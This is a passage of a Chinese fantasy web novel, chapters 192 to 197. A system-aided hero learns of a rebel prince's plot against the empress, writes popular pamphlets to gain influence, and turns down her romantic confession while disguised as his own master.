他感觉喉咙有些发干,心中那刚刚被强行压下的波澜,再次剧烈翻腾起来。
塔娜她…倒是很守信用。
柳絮继续道:
“南蛮国主野心勃勃,又受了靖王重利诱惑,岂会听她一个女子之言?反而勃然大怒,斥责她吃里扒外,被大夏繁华迷了眼,忘了根本。
争执之间,国主盛怒,命人将她关押起来,等待跟大祭司成亲。结果争执中,将一件东西扫落在地。摔碎的…似乎是一支不甚起眼的玉簪。”
玉簪?
江凡脑海中‘轰’的一声!
难道是...临别那晚,塔娜分别前夕让自己买下来当礼物的那支?
一支不值钱的普通玉簪…摔了就摔了吧...
“那玉簪摔碎之后,”柳絮的声音将他从震惊中拉回,
“塔娜公主…瞬间像是变了个人。我的人传回消息说,从未见过公主那般模样,眼神冰冷得吓人,周身杀气几乎凝成实质。
她二话不说,直接出手,将两名奉命上前欲将她‘请’下去关押的宫廷侍卫当场格杀!
然后,她蹲下身,小心翼翼地捡起那支已然断裂的簪子,然后…就那么当着她父王和满殿侍卫大臣的面,失声痛哭起来。哭声悲恸绝望,闻者心酸。”
柳絮顿了顿,看着江凡眼中难以掩饰的震动,轻声道:
“南蛮国主当时也吓住了,他从不知自己这个向来骄傲张扬的女儿,会有如此失态悲痛的一面。
最终,或许是那哭声触动了他一丝未泯的父女之情,也或许是忌惮塔娜公主突然爆发的实力与决绝,他勉强退让,答应将婚期…推迟两个月。
自那之后,塔娜公主便将自已关在寝殿之中,水米不进,不言不语,如同…一尊失去魂魄的玉像。”
第192章 紧张的局势
雅间内一片寂静,只有窗外隐约传来的丝竹声,显得格外刺耳。
江凡只觉得胸口闷得他喘不过气。
脑海中,塔娜明媚的笑脸、狡黠的眼神、大胆的亲吻、以及那夜分别时微红的眼眶…
与柳絮描述的画面交替闪现,最后定格在那支碎裂的、普通的玉簪上。
不值钱的簪子…随手买下打发她而已…
没想到她却如此珍藏,甚至因此与父王反目,悲痛欲绝…
他以为那晚不过是她以退为进的伎俩,却从未想过,那支被他并未在意的簪子,那场在他看来有些荒唐的告别,对她而言,或许有着截然不同的意义。
江凡心情复杂,不仅仅是为塔娜的遭遇感到同情,更有一种始料未及的愧疚与…动容。
她明知他是‘逍遥公子’,有陆地神仙之能。
若她向其父王透露,或许能换来截然不同的待遇。
可她选择了沉默,最后…却因为一支他并未珍视的簪子,彻底崩溃。
“她…何苦如此…”
江凡声音沙哑。
他仰头,将杯中残酒一饮而尽。
萧璇月缝衣的温柔与‘逼婚’的狡黠,塔娜痛哭的绝望与沉默的守护,还有周婉如深情款款的等待...
一幅幅画面在他脑中激烈碰撞,让他心烦意乱,不知所措。
哎,女人真麻烦!
柳絮看着他这副失魂落魄的模样,心中轻轻一叹。
看来,这位看似玩世不恭的江世子,内心远比表面柔软重情。
她对塔娜所言并非全部,有些细节甚至略带夸大和渲染,但核心事实不假。
她透露这些,就是想看看江凡的反应。
江世子有未婚妻,甚至有传言他跟女帝还有些不清不楚,现在加上一个塔娜...
如果江凡以后能三妻四妾,那自己是不是也有机会?
她适时地转移了话题,声音恢复了之前的冷静与凝重:
“塔娜公主之事,令人扼腕。但眼下,有更迫在眉睫的危机,关乎大夏国本,也关乎江大人你,以及…宫中那位陛下的安危。”
江凡猛地从纷乱的思绪中惊醒,强行收敛心神,看向柳絮:
“什么危机?”
柳絮身体微微前倾,声音压得极低,只有两人能听清:
“据四季堂安插在靖王身边最高级别的暗桩最后一次冒死传出的绝密情报,靖王…不知以何种惊天代价,说动并请来了一位海外仙岛的隐世高人。此人修为…恐已超越极道宗师范畴。”
“超越极道宗师?”江凡瞳孔骤然收缩,“你是说…陆地神仙?”
“十有**。”柳絮脸色凝重地点头,
“虽然具体名号、来历不详,但传递出的信息明确指向这一点。靖王将其奉为上宾,隐秘至极。
恐怕,这便是他最后、也是最强的底牌。北莽、南蛮同时施压,调虎离山,将京城守军精锐引开,制造混乱与空虚。
届时,这位海外来的陆地神仙,配合靖王暗中蓄养的死士与可能的内应,直扑皇宫…其目标,不言而喻。”
江凡只觉得一股寒意涌遍全身!
靖王竟然能请动陆地神仙级别的人物?
这老贼,还真是下了血本!
海外仙岛…超越极道宗师…
这可不是之前那些被秒杀的杂鱼能比的!
虽然他有系统底牌,可若是没有提前得知这个消息,一旦被拖住或者引开…后果不堪设想!
靖王这一招,简直是釜底抽薪,直击要害!
女帝身边虽有供奉,但面对一位可能是真正陆地神仙的存在,能支撑多久?
看来这段时间不能急着提升实力,必须保证随时有两百万以上的积分。
只要能兑换无敌领域,那个陆地神仙敢来,也让他有来无回!
“消息…确切吗?”
江凡声音低沉,带着一丝紧绷。
明着来什么对手他都不怕,大不了提前暴露自己就是逍遥公子。
就怕靖王层出不穷的阴险招数,用什么歹毒方法把自己引开将女帝击杀。
“四季堂最高级别暗桩,以生命为代价传出的最后情报。你说呢?”
柳絮反问,眼中也充满了忧虑,
“江大人,此事必须立刻禀报陛下,早作防备!京城防卫,宫中布局
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,供奉调配,甚至…是否需要请动尊师‘逍遥’前辈提前防范,都需重新考量!时间…恐怕不多了。”
江凡重重地点头,脸色阴沉得能滴出水来。
以四季堂的情报能力,知道他是‘逍遥公子’徒弟,并没什么意外。
一桩桩,一件件事情压得他几乎喘不过气。
老爹远征,北境烽火;南蛮异动,塔娜遭劫;靖王蛰伏,竟请动陆地神仙!
而皇宫之中,女帝看似镇定,实则承受着内忧外患的巨大压力,身边危机四伏…
这一刻,他又想起给萧璇月疗伤的画面,以及那件亲手缝补的衣物...
他猛地站起身,再也无心饮酒作乐。
“柳絮姑娘,多谢告知!此事关乎重大,我必须立刻回宫禀报陛下!今日之情,江某记下了,容后相报!”
他抱拳,语气急促。
“江大人客气,分内之事。”柳絮也站起身,神色郑重,
“还请务必提醒陛下,万勿掉以轻心。若有需要四季堂协助之处,在能力范围内,柳絮必不推辞。”
江凡不再多言,转身大步离去,脚步匆忙。
雅间内,柳絮独自站在窗边,望着他迅速消失在夜色中的背影,轻轻叹了口气,低声自语:
“江凡啊江凡,你身上到底还藏着多少秘密?面对陆地神仙…你又能有多少胜算?这大夏的天…这一次,怕是真要变了。”
夜色渐浓,寒意侵骨。
江凡疾步走在回宫的路上,心头依然沉重。
平日里可以懒散,甚至没心没肺。
但眼下的局势,似乎并不容它继续懒散下去。
他下意识地摸了摸怀中的金刀侍卫腰牌,又感受了一下系统空间中接近两百万的人气值。
“陆地神仙…海外高人…靖王…”
他咬紧牙关,眼中寒光闪烁。
“来吧!管你是什么海外仙岛,陆地神仙!敢跟靖王一起来,就让你明白神仙也是有等级的!”
他加快脚步,身影迅速没入夜色之中。
先回去看看姐姐,然后晚上继续进行话本创作,希望能获取更多人气值...
第193章 普通的百姓
江凡回到镇国公府。
府邸灯火通明,却透着寂静。
父亲出征,这座府邸仿佛也失去了主心骨。
他没有惊动太多人,径直去了姐姐江芷兰的院子。
院中灯火温暖,江芷兰正坐在灯下,手中拿着一卷书,却明显心不在焉,眉头微蹙,显然也在担忧北境的父亲。
“姐姐。”
江凡站在门口,轻声唤道。
江芷兰猛地抬头,看到是江凡,眼中瞬间迸发出惊喜的光芒,放下书卷便快步走了过来:
“凡儿!你回来了?今日…宫里可还好?父亲他…”
她上下打量着江凡,见他虽有些疲惫,但精神尚可,身上也无伤无损,先松了口气,随即又急切地问起父亲。
“父亲已率军出城,此刻怕是已在数十里外了。”
江凡拉着姐姐坐下,将宫中大致情形简单说了,末了握住姐姐的手,郑重道:
“姐姐,父亲不在,这府中便由你主持大局。外有强敌,内有暗鬼,京城…未必安全。你要多加小心,若无必要,尽量减少外出。府中护卫,也要多加巡查。”
江芷兰也明白形势严峻,用力点了点头:
“你放心,府中有我。倒是你,身在宫闱,伴君如伴虎,更要万分小心。陛下…可还信重于你?”
她最担心的,还是弟弟在女帝身边的安危。
“陛下…待我很好。”
江凡脑海中闪过女帝的各种模样,心中微暖,又有些复杂的情绪翻腾。
他连忙收敛心神,从系统空间取出两瓶丹药。
一瓶是【培元固本丹】,适合江芷兰这等有些武道基础之人,可强身健体,延年益寿,少量兑换价格尚可承受。
另一瓶是【小还丹】,对内伤外伤皆有奇效,是给冷月寒准备的。
“姐姐,这两瓶丹药你收好。这瓶培元丹,你每日服食一粒,对你身体大有裨益。这瓶小还丹,是给冷姑娘的,她护卫你辛苦,此丹可助她疗伤修行。”
他将丹药塞到姐姐手中,不容拒绝,
“只有你们实力强了,安全有了保障,我在宫中才能安心。”
江芷兰握着温润的玉瓶,看着弟弟眼中的关切与坚定,鼻尖一酸。
弟弟真的长大了,不再是那个需要她时时操心、四处闯祸的纨绔了。
她重重点头:“好,姐姐知道了。你也要保重,凡事…莫要强出头,安全第一。”
“嗯。”
江凡点头,又叮嘱了几句,便起身离开。
他回到自己的住处,关上房门,长长吐出一口浊气。
靖王请动了陆地神仙!
这个消息如同悬在头顶的利剑,随时可能落下。
他虽然手握【陆地神仙体验卡】和【无敌领域】,但敌人在暗处,谁也不知道什么时候出现。
可眼下,他的人气值,是最大的短板!
两百万出头只是一个保障,距离提升到大宗师境界,还需要好几天积累。
实力!
他迫切需要更多的实力,更强的底牌!
他坐到书案前,铺开纸笔,却觉得心乱如麻。
之前为了人气值,他绞尽脑汁用香艳情节吸引眼球。
可此刻,内忧外患,国事艰难,老爹远征,强敌环伺。
他满脑子都是这些沉重的现实,哪里还有半分旖旎心思去编织那些情爱纠葛?
就算勉强写出来,恐怕也难有之前的吸引力,甚至可能因为心境不对而质量下滑,反而流失读者。
“怎么办…还有什么办法,能更快、更广泛地获取人气值?”
江凡烦躁地抓了抓头发,目光无意识地扫过桌上那本《深宫秘恋》的话本。
突然,他脑中灵光一闪!
人气值来源于认同、喜爱、关注…话本读者固然是重要来源。
但那些读者,多数是有一定文化、闲暇的阶层。
而真正数量最庞大、最基础的,是千千万万的普通百姓!
他们或许不识字,甚至肚子都吃不饱了,对这些话本故事自然也没有太大兴趣。
只有能改变他们生活的‘东西’,才能吸引他们!
他们关心什么?
他们不关心帝王将相的权谋倾轧,不关心才子佳人的风花雪月。
他们关心的,是明日是否有米下锅,是能否吃饱穿暖,是能否在苛捐杂税、兵祸天灾中活下去!
“民生!对,民生!”
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江凡眼中光芒越来越亮。
如果他写的东西,不仅仅是消遣娱乐,而是能真正触动百姓最根本的关切,能让他们看到一丝希望。
甚至能学到一点改善生计的小技艺,那将会获得何等庞大的人气?
想到这里,他不再犹豫,提起笔,略一沉吟,在《深宫秘恋》最新的章节之后,另起一页,开始书写。
他借书中一位心系民间疾苦的‘隐士’之口,写下了两首诗:
“其一:锄禾日当午,汗滴禾下土。谁知盘中餐,粒粒皆辛苦。”
“其二:春种一粒粟,秋收万颗子。四海无闲田,农夫犹饿死。”
诗成,墨迹淋漓,一股沉郁悲悯、直指人心的力量扑面而来。
这是他记忆深处,另一个世界流传千古的《悯农》。
此诗语言质朴,意境深远,道尽了农耕之艰,民生之难,足以让任何稍有良心之人动容。
紧接着,他笔锋再转,开始以更为直白的笔法,描绘大夏立国之艰辛,历代先帝之仁政。
尤其着重刻画了‘大乾女帝’登基以来,宵衣旰食,勤政爱民,力图革除积弊,振兴国运的种种不易与决心。
他写出她面对朝堂老臣刁难时的隐忍,写出她为筹措边关军费而缩减宫廷用度的节俭,写出她深夜批阅奏折直至天明的辛劳…
将一个心怀天下、却步履维艰的年轻女帝形象,塑造得鲜活而令人同情。
与之形成鲜明对比的,则是靖南王。
江凡毫不客气,将靖王暗中勾结北莽、南蛮,许诺割地赔款,引狼**,企图颠覆朝廷,**求荣的种种阴谋揭露出来……
笔锋犀利如刀,将靖王钉在了乱臣贼子、国之大害的耻辱柱上!
“如此倒行逆施,**求荣,残害忠良,鱼肉百姓之奸王,若让其得逞,则我大乾百年基业毁于一旦,亿万黎民将堕入水深火热之深渊!幸有天子圣明,洞察其奸,更有忠臣义士,暗中护佑,方使国祚不倾,黎庶有望…”
写到这里,江凡笔下一顿。
靖王的野心快要爆发,必须尽快将女帝萧璇月‘天命所归’的形象立起来。
想了想,又另起一行。
第194章 皇宫的会面
江凡开始写一些简单实用、易于传播的‘小技艺’。
比如,如何更有效地堆肥沤肥,提高一点点田地肥力;如何利用简单的工具,更省力地汲水灌溉;
一些常见草药的简易辨识与急救用法;甚至,他还凭记忆,画了几幅简陋但关键的图示,介绍如何改良织机的一个小部件,或许能提高一点点纺织效率…
他知道,这些东西或许粗浅,或许在能工巧匠看来不值一提,但对挣扎在温饱线上的最底层百姓而言,任何一点微小的改进,都可能意味着多收一斗粮,多织一尺布,多活一条命!
他要传递的,不仅仅是对女帝的支持和对靖王的鞭挞,更是一种希望——
朝廷是在乎他们死活的,是有能人愿意为他们着想的,生活,是有可能一点点变好的!
当他终于停下笔时,窗外已是月上中天。
看着面前这厚厚一沓手稿,江凡长长舒了口气。
**这样‘混搭’的内容,读者是否会买账,是否会觉得不伦不类。
但这是他此刻,能想到的,最能快速、广泛凝聚人心、获取最底层百姓关注与认同的方法。
他唤出系统,将手稿内容提交。
【叮!检测到宿主提交特殊混合型内容,包含强烈民生关怀、**倾向引导及实用技能传播,符合‘聚拢民心、引导**、普惠众生’潜在标准。系统评估中…】
【评估通过!内容具备较高传播价值与社会影响力潜质。触发特殊印制模板——‘劝世良言·民生篇’。】
【本次印制将采用特殊廉价纸张与简易刻版,最大限度降低成本,提高传播性。预计初始投放数量:20000份。后续将根据传播反馈与民心凝聚度,进行动态调整与追加投放。】
【是否确认提交并支付相应人气值?】
两万份!
特殊模板!
动态追加!
江凡精神一振!
果然有效!
系统认可了他的思路!
这‘劝世良言’的模板,显然是为了面向更广大、更底层的受众。
虽然单份提供的人气值可能不如精美话本,但架不住数量巨大、传播广泛啊!
而且后续还能追加!
“确认提交!”江凡毫不犹豫。
【叮!提交成功!特殊模板启动与初始投放。‘劝世良言·民生篇’(第一期)开始印制投放,初始投放数量一万份。】
江凡心中一喜。
如果这一万份‘劝世良言’能顺利传播开来,引发底层百姓的共鸣和讨论,哪怕每人只提供几点、十几点人气值,那汇聚起来也将是海量!
一天几百万甚至上千万人气值,或许真的不是梦!
忙完这些,江凡只觉得眼皮沉重如山。
他吹灭蜡烛,和衣倒在床上,只想立刻沉沉睡去。
然而,脑袋刚沾到枕头,他猛地一个激灵,又坐了起来!
“糟了!差点忘了!今晚…还要去见女帝!‘逍遥公子’的约!”
他懊恼地一拍额头,睡意瞬间跑了大半。
看看窗外月色,估算着时辰,距离子时应该还有一段时间。
但他需要时间准备,更需要…消耗一张宝贵的【陆地神仙体验卡】。
“一百万人气值…半个时辰…”
江凡有些心疼,但想到女帝那幽怨又带着期盼的眼神,想到柳絮透露的关于靖王可能拥有陆地神仙级别助手的绝密情报,他咬了咬牙。
必须去!
不仅要安抚女帝,更要再次确认宫防,提醒她加强戒备。
同时,也要探探女帝的口风,看看朝廷对可能出现的陆地神仙级别敌人,有无应对预案。
眼看时间要到子时,他心中默念:
“使用【陆地神仙体验卡】!”
一股浩瀚的力量瞬间涌入江凡四肢百骸,冲刷着他的经脉,滋养着他的神魂。
这是一种前所未有的强大感觉,但江凡没有时间细细体会。
他迅速切换金色披风和青铜面具,然后推开后窗,身形悄无声息地消失。
陆地神仙的境界速度快如鬼魅,宫墙、守卫、暗哨,在他眼中形同虚设,轻易便来到了女帝寝宫——凤仪宫的上方。
夜色深沉,凤仪宫却依旧亮着灯火。
与往常不同,宫外的守卫似乎被刻意调远了些,连宫女
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太监的身影也少了许多,显得格外静谧。
江凡收敛气息,轻轻落在寝殿外的廊下。
殿门虚掩着,里面透出温暖的烛光和一丝…淡淡的酒香?
他略一迟疑,还是伸手,轻轻推开了殿门。
殿内,烛火摇曳,映得一室温馨。
今夜这里像一个精致的暖阁。
一张小圆桌上,摆放着几碟精致的点心和时令小菜,还有一壶酒,两只玉杯。
萧璇月换了一身水红色的宫装常服,青丝如瀑,带着几分女子的柔美与慵懒。
她正斜倚在软榻上,手中把玩着一只空了的酒杯,望着跳跃的烛火,似在出神。
听到开门声,她倏然转头,当看到那熟悉的面具时,凤眸中瞬间绽放出光彩。
她立刻坐直身体,脸上露出一丝明媚的笑容,语气带着欣喜与一丝俏皮:
“前辈,你来了。朕还以为…你又‘闭关’到紧要关头,来不了了呢。”
江凡心中一叹,迈步走入,反手关上门。
他刻意改变了声线,使其显得沧桑:
“陛下相召,老夫既已答应,自当前来。只是不知陛下深夜相邀,所为何事?”
他目光扫过桌上的酒菜,又看了看四周,连最贴身的云暮都不在,心中不由一紧。
女帝对他的信任,或者说,对‘江凡师尊’这个身份的信任,似乎有些过头了。
这固然方便,却也让他压力更大。
萧璇月起身,走到桌边,亲自执起酒壶,为两只玉杯斟满美酒,动作优雅流畅。
她将其中一杯推向江凡的方向,自己端起另一杯,唇角微勾:
“并无要事。只是近日国事繁杂,心中郁结,想起前辈数次援手之恩,却始终未能当面致谢,心中不安。
故备下薄酒,想与前辈小酌两杯,聊表谢意,也…一解烦闷。前辈,请坐。”
江凡看着那杯酒,却没动,面具下的眉头微皱。
他只有半个时辰!
哪有时间陪女帝喝酒谈心?
他必须尽快切入正题,传达警示。
“陛下,酒便免了。老夫时间有限,不便久留。陛下若有要事,但说无妨。”
第195章 答应个条件
萧璇月执杯的手微微一顿,面上却露出失落:
“前辈如此匆忙?可是不想见到朕,或是…有何不便?”
江凡有些受不了女帝那幽怨的语气,连忙稳住心神,沉声道:
“陛下多虑了,老夫无恙,也并非不想见你,只是确实需要闭关。陛下,老夫此次前来,是有一事,需提醒陛下。”
他顿了顿,决定先透露部分危险,但暂不点明陆地神仙:
“老夫近日探查得知,靖王萧恒,似乎与海外某些势力有所勾连,并请动了一位了不得的人物。
此人修为深不可测,恐远超寻常极道宗师,乃靖王手中最后的、也是最强的一张底牌。
其目标,直指皇宫,直指陛下。北境、南疆之事,恐皆为此獠调虎离山、制造京城空虚之策。
陛下近日,务必加强宫禁防卫,自身更要万分小心,非绝对可信之人,绝不可近身。老夫…也会暗中关注,尽力守护你。”
他没有直接说‘陆地神仙’,怕吓到女帝,每天提心吊胆。
萧璇月闻言,凤眸微微眯起,闪过一丝凝重。
但她似乎并不十分意外,沉默片刻,反而抬眸看向江凡,语气平静中带着一种依赖:
“海外高人?远超极道宗师?难怪靖贼如此有恃无恐,敢行此釜底抽薪之计。不过…有前辈在暗中照拂,朕,不怕。”
江凡被她这毫无保留的信任弄得心头一软,却又有些头疼,只得强调:
“明枪易躲,暗箭难防。对方既敢来,必有万全准备。老夫虽会尽力,但未必能时刻护在陛下左右。陛下自身警觉,方是根本。”
萧璇月却似乎不想继续这个话题,她目光灼灼地盯着江凡的眼睛,忽然问道:
“前辈如此关心朕之安危,屡次救朕于危难,赠朕重宝,今夜又…又前来警示。朕想问前辈一句,前辈对朕…
当真只是出于对徒儿的照拂,以及对大夏国祚的维护?前辈心中,对朕…就没有半分其他情意吗?”
她问得直接而大胆,眼中波光潋滟,带着一丝倔强,仿佛今夜一定要问出一个答案。
江凡被这突如其来的直球打得措手不及,面具下的脸瞬间滚烫。
他脑海中不受控制地闪过为女帝疗伤时的画面,心跳骤然加速。
但他立刻强行压下,缓缓摇头,声音刻意保持淡漠疏离:
“陛下说笑了。老夫年岁已高,潜心武道,早已看破红尘俗念。对陛下,仅有护持之心,并无男女之情。陛下乃万金之躯,当以江山社稷为重,莫要执着于此等虚妄之事。”
“看破红尘?年岁已高?”
萧璇月不仅没有气馁,反而上前一步,距离江凡只有咫尺之遥,她身上淡淡的馨香传来,让江凡身体微僵。
“前辈何必用这些话来搪塞朕?朕不在意前辈是几百岁还是十几岁,是俊朗还是丑陋。
朕只知道,是前辈两次将朕从生死边缘拉回,给朕疗伤还看了朕的身子,朕的身心都是前辈的。”
她的声音轻柔却坚定,“朕这颗心,自崖底那夜之后,便再也装不下旁人。此生,朕只喜欢前辈一人。”
江凡心中慌乱更甚,这女帝怎么不按常理出牌?
他都看破红尘了,她还这么执着?
“陛下!此话不可再说!老夫与陛下,绝无可能!还请陛下莫要自误,也莫要…让老夫为难!”
他语气转硬,试图打消她的念头。
萧璇月肯定是看着自己修为,而不是真心喜欢自己一个‘老不死’。
“自误?为难?”
萧璇月眼中闪过一丝水光,却倔强地没有让泪落下,反而露出一丝凄然的笑,
“前辈是觉得,朕是看中前辈陆地神仙的修为,才如此低声下气,委曲求全吗?”
江凡心中一突,没有接话。
这女人会读心术咋滴?
萧璇月却自顾自说了下去,声音冷静得可怕:
“其实,朕早有猜测。前辈的修为,或许…并非毫无限制吧?否则,以前辈通天之能,大可直捣黄龙,擒杀靖王。
甚至亲赴北境、南疆,以雷霆之势震慑宵小,何须如此迂回,暗中护持,甚至…需要借助江凡那傻小子传递消息,需要朕逼迫你徒儿才肯现身?”
江凡面具下的瞳孔猛地收缩!
她…她竟然猜到了?
虽然不中,亦不远矣!
她竟然能从这些细节,推测出‘逍遥公子’的修为可能有限制!
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这女人的心思,未免也太过敏锐可怕!
“陛下何出此言?”
他强作镇定,声音却不由自主地带上了一丝波动,
“老夫只是不喜沾染过多因果,不愿轻易介入凡俗争斗过深。留在皇城,亦是随心所欲罢了,与修为何干?”
“是么?”萧璇月紧紧盯着他的眼睛,仿佛要透过面具,看穿他内心的真实想法。
“可朕更愿意相信自己的判断。前辈,不管你是因为什么原因不能轻易动用全力,或是有其他顾虑,朕都要告诉你——”
她深吸一口气,一字一句说道:
“朕喜欢的是你这个人,是你救朕时的毫不犹豫,是你为朕疗伤时的局促不安,是你看似冷漠实则处处回护的心意!
与你是陆地神仙,还是寻常武夫,毫无关系!哪怕你明日修为尽失,变成一个普通人,朕的心意,也绝不会变!”
这番话说得斩钉截铁,情真意切,让江凡的心脏狂跳,几乎要冲出胸膛。
他张了张嘴,却发现任何否认和推脱的言语,在此刻都显得苍白无力。
他能感觉到,女帝说的是真心话。
可越是真心,他越是无法承受!
因为他是假的!
他怕萧璇月得知逍遥公子居然是个声名狼藉的纨绔后失望,所以不敢以**面对她!
“陛下…这又是何苦。”
他最终只能化作一声长长的叹息,带着深深的无奈,
“老夫孑然一身,闲云野鹤惯了,受不得这深宫拘束,更担不起帝王之情的重量。陛下…
还是趁早断了此念吧。待此间事了,老夫自会离去,陛下…当寻一良配,共治江山。”
“离去?”
萧璇月眼中闪过一丝慌乱,她知道江凡性子懒散,一直想辞职离开。
她迅速稳住心神,忽然又向前逼近半步,两人之间的距离近得能感受到彼此的呼吸。
“好,既然前辈心意已决,执意要抛下朕,去做那闲云野鹤。那朕…也不强求。”
江凡刚松了一口气,却听她话锋一转:
“不过,在前辈离开之前,需得答应朕一个条件。只要前辈答应,朕便应允,从此不再纠缠于你,也会…试着放下。”
第196章 这成何体统
“什么条件?”
江凡心中升起不祥的预感。
萧璇月唇角勾起一抹危险的弧度,目光紧紧锁住他的眼睛,缓缓说道:
“前辈既已看破红尘,不愿为朕驻足。那便请前辈,去说服你那好徒儿——江凡。让他心甘情愿,答应做朕的帝君,朕的…皇夫。”
“噗——!”
江凡差点被自己的口水呛到,面具下的脸瞬间涨得通红,眼睛瞪得滚圆,简直不敢相信自己的耳朵!
“什、什么?让江凡做你的帝君?陛下,你…你莫不是糊涂了?”
这算什么条件?
让‘逍遥公子’去说服他自己娶她?
不,应该是嫁给她...
这…这简直荒唐透顶!
女帝到底想干什么?
她是真的对‘江凡’动了心思,还是想用这种方式逼‘逍遥公子’就范?
萧璇月却似笑非笑,好整以暇地看着他瞬间失态的样子,仿佛很享受他此刻的震惊与慌乱。
“朕清醒得很。前辈不是说,对朕绝无情意,让朕另寻良配吗?江凡那小子,虽有些惫懒,有些气人,但武功尚可,对朕也算忠心,家世清白,模样…
也还过得去。更重要的是,他是前辈唯一的弟子,是前辈看重之人。朕若嫁给他,每日见他,便如见前辈,也算全了朕一番痴念。这个条件,不过分吧?还是说…”
她拖长了音调,眼中闪烁着促狭的光芒,
“前辈其实是在意的?前辈心里,其实是有朕的,所以不愿朕嫁给旁人,哪怕是你的徒弟?”
“荒唐!简直荒唐!”
江凡头大如斗,连连摆手,只觉得这逻辑简直匪夷所思,偏偏又让他无法直接反驳!
“陛下,婚姻大事,岂可儿戏!江凡那小子何德何能,岂堪匹配陛下!况且,他是他,老夫是老夫!
陛下岂可因老夫之故,而将终身托付于他?这对他不公平!此事万万不可!”
“有何不可?”萧璇月步步紧逼,目光灼灼,
“他是你徒弟,朕嫁给他,便是你的徒媳,与你更亲近一层。还是说,前辈觉得,你那徒弟也配不上朕?亦或是…”
她眼中闪过一丝幽深,“前辈觉得,自己比徒弟更合适,却又不愿承认?”
“我…”
江凡被她绕得头晕,差点说漏嘴。
自己今晚来做什么的...
他深吸几口气,强迫自己冷静下来,摆出师尊的架子,沉声道:
“陛下!此事休要再提!江凡的婚事,自有他自己做主,老夫虽是他师尊,亦不会强行干涉。至于陛下…
老夫还是那句话,莫要在老夫身上浪费时间了。天下青年俊杰何其多,陛下总会遇到真正适合之人。”
“可逍遥前辈,只有一个。”
萧璇月毫不退让,语气斩钉截铁,
“朕心里,也再装不下其他男人。若前辈执意不肯,那朕便只能退而求其次,找你那徒弟了。反正,你们师徒一体,看他,便如看你。”
江凡只觉得一口老血堵在胸口,差点喷出来。
这都什么跟什么!
还师徒一体?
这女帝的脑回路是怎么长的?
合着自己‘徒弟江凡’,就是‘逍遥公子’的替代品是吧?
他感觉自己快要被逼到墙角,无路可退了。
看着‘逍遥公子’那副窘迫不堪、百口莫辩的模样,萧璇月心中又是好笑,又是泛起阵阵酸涩的甜蜜。
她知道自己在逼他,在用这种近乎‘胡搅蛮缠’的方式,试探他的底线,逼迫他面对自己的内心。
她看到了他眼中的慌乱,看到了他下意识的拒绝,但也看到了那慌乱之下,一丝丝被她话语牵动的情愫。
他并非真的无动于衷,他只是有太多的顾虑,太多的‘不能’。
她见好就收,没有再继续‘帝君’的话题,声音轻柔:
“前辈,你看着朕的眼睛,回答朕。你对朕,当真没有半分情意吗?哪怕只是一丝一毫的动心?”
江凡身体一僵,下意识地想要移开视线,却被她那执着而清澈的目光牢牢锁住。
这几日的点点滴滴,不受控制地涌上心头——
那件被她缝补的衣服,狩猎遇险时自己心中的慌乱,疗伤时的...
还有朝堂上她沉稳睿智的威仪,还有方才她诉说心意时那灼热而真挚的目光…
他并非铁石心肠。
女帝的深情、聪慧、坚韧、偶尔流露的脆弱与小性子,早已在不经意间,深深印入了他的心底。
只是,身份和系统的秘密,未来的不确定,还有...周婉如和塔娜,让他一直不敢,也不愿去想两人会不会有什么。
再说,女帝喜欢的是
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‘逍遥公子’,而不是‘镇国公世子江凡’。
“我…”
他张了张嘴,喉咙干涩,那句‘没有’怎么也吐不出来。
眼神中的挣扎,在女帝仿佛能洞察一切的目光下,无所遁形。
萧璇月看着他眼中复杂的情绪,看着他欲言又止的挣扎,心中那最后一丝不确定,终于烟消云散。
她轻轻笑了,那笑容带着释然、满足,以及一丝狡计得逞的俏皮。
“前辈不必回答了。你的眼神,已经告诉朕答案了。”
江凡猛地后退半步,狼狈地移开视线,声音干巴巴地道:
“陛下…何必如此咄咄逼人。待解决了靖王,了却此间事,老夫自会离去,届时山高水长,陛下…珍重。”
“又是离去…”
萧璇月眼中的光彩黯淡了一瞬,但随即又亮了起来,带着一种破釜沉舟般的决绝。
“好,前辈要走,朕留不住。但在前辈离开之前,可否答应朕最后一个、小小的要求?就当是…了却朕最后一点痴心妄想,可好?”
江凡此刻心乱如麻,只想着赶紧结束这令人窒息的对话,逃离这让他无所适从的境地,闻言几乎是不假思索地点头:
“陛下请讲,只要老夫能做到\只要不是让老夫劝徒儿和你在一起,定不推辞。”
他只求能快点脱身。
萧璇月脸上绽放出一个明媚的笑容,眼中水光盈盈,带着一丝羞怯和坚定。
她轻轻向前一步,两人之间的距离再次贴近,近得能感受到彼此身上传来的热度。
她仰起脸,声音轻得像一片羽毛,却重重地撞在江凡的心上:
“前辈…可以抱抱朕吗?就像那夜在崖底那样…朕…很怀念那个怀抱。”
江凡彻底懵了!
大脑一片空白,面具下的眼睛瞪得溜圆,身体僵硬得像块石头,连手指都无法动弹分毫。
抱、抱抱?
这…这怎么可以!
自己可是看破红尘的‘逍遥公子’!
她是女帝!
这成何体统!
而且…崖底那次也是被迫的!
然而,不等他回过神来,萧璇月已经微微闭上眼,将整个身子投入了他僵硬的怀中。
温香软玉,满怀盈香。
江凡只觉得一股热血直冲头顶,浑身僵硬,双手悬在半空放也不是,抱也不是。
第197章 并非没感觉
时间,仿佛在这一刻静止了。
江凡能清晰地听到自己剧烈的心跳,也能感觉到怀中女子那轻微却同样急促的呼吸。
他脑中一片混乱,只剩下一个念头在疯狂叫嚣:完了!这下…真的完了!
萧璇月将自己的脸颊紧贴着江凡僵硬的胸膛,清晰地感受到了其下传来的急促心跳——
咚、咚、咚…
每一下都重重敲打在她的心尖上,与她自己的心跳渐渐交织、共鸣,分不清彼此。
一股莫名的悸动、羞赧瞬间席卷了她。
或许,只有面对这个戴着面具的‘逍遥公子’,她才能如此毫无顾忌地放下帝王的矜持与心防,袒露内心最深处的情感。
这情感是什么时候开始萌芽的?
是在西山悬崖下,他笨拙为自己疗伤、褪去衣衫的那一刻?
还是更早,在他第一次以‘逍遥公子’的身份,如同神兵天降,将她从绝境中拉起的那一刻?
不,或许更早。
早在那本《深宫秘恋》悄然出现,字里行间带着奇异的‘预言’与洞察,搅动朝堂风云,为她稳固权柄提供无形助力之时;
早在他通过不经意间拿出那些足以改变国运的秘方——
高产作物种子、改良农具图样、琉璃美酒精盐之法、甚至那威力骇人又危险无比的**配方…
桩桩件件,看似巧合,实则处处用心,皆是为她分忧,为大夏续命。
原来,不知不觉间,这个看似玩世不恭的‘小混蛋’,早已用他自己的方式,悄无声息地渗透进了她的生活,她的朝堂,甚至…她的心里。
从起居郎到近身侍卫,他白天总是一副没睡醒的样子,原来暗地里却为自己和大夏做了这么多。
